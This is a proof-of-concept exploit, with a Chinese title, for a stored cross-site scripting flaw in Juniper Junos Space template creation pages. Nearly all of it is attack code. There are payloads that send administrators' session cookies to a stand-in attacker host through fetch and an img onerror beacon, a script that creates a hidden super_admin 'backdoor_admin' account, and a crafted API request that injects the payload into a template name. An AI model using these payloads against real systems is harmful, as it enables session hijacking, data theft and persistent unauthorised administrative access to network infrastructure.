CVE-2025-59990 Juniper Junos Space 模板创建页面XSS漏洞

<!-- CVE-2025-59990 PoC - Stored XSS in Juniper Junos Space Template Creation --> <!-- This PoC demonstrates the stored XSS vulnerability in template creation pages --> <!-- Step 1: Attacker crafts a malicious template with injected JavaScript --> <!-- The payload is injected into the template name or description field --> <!-- Malicious payload example 1: Cookie stealing --> <script> fetch('http://attacker-server.com/steal', { method: 'POST', body: JSON.stringify({cookie: document.cookie}), headers: {'Content-Type': 'application/json'} }); </script> <!-- Malicious payload example 2: Session hijacking via image beacon --> <img src=x onerror="fetch('http://attacker-server.com/steal?c='+document.cookie)"> <!-- Malicious payload example 3: Admin action execution (e.g., create backdoor user) --> <script> // Exfiltrate admin session and perform privileged actions var xhr = new XMLHttpRequest(); xhr.open('POST', '/api/user/create', true); xhr.setRequestHeader('Content-Type', 'application/json'); xhr.send(JSON.stringify({ username: 'backdoor_admin', password: 'P@ssw0rd123', role: 'super_admin' })); </script> <!-- Step 2: Submit the template via Junos Space API or web UI --> POST /api/space/template-management/templates HTTP/1.1 Host: junos-space-target.example.com Content-Type: application/json Cookie: session=<attacker_session> { "name": "<script>fetch('http://attacker-server.com/steal?c='+document.cookie)</script>", "description": "Legitimate template description with <img src=x onerror=alert(1)> payload", "content": "<device-configuration>...</device-configuration>" } <!-- Step 3: When an admin views the template list or template details page, --> <!-- the injected script executes in the admin's browser context, --> <!-- potentially stealing the admin session or performing privileged actions. -->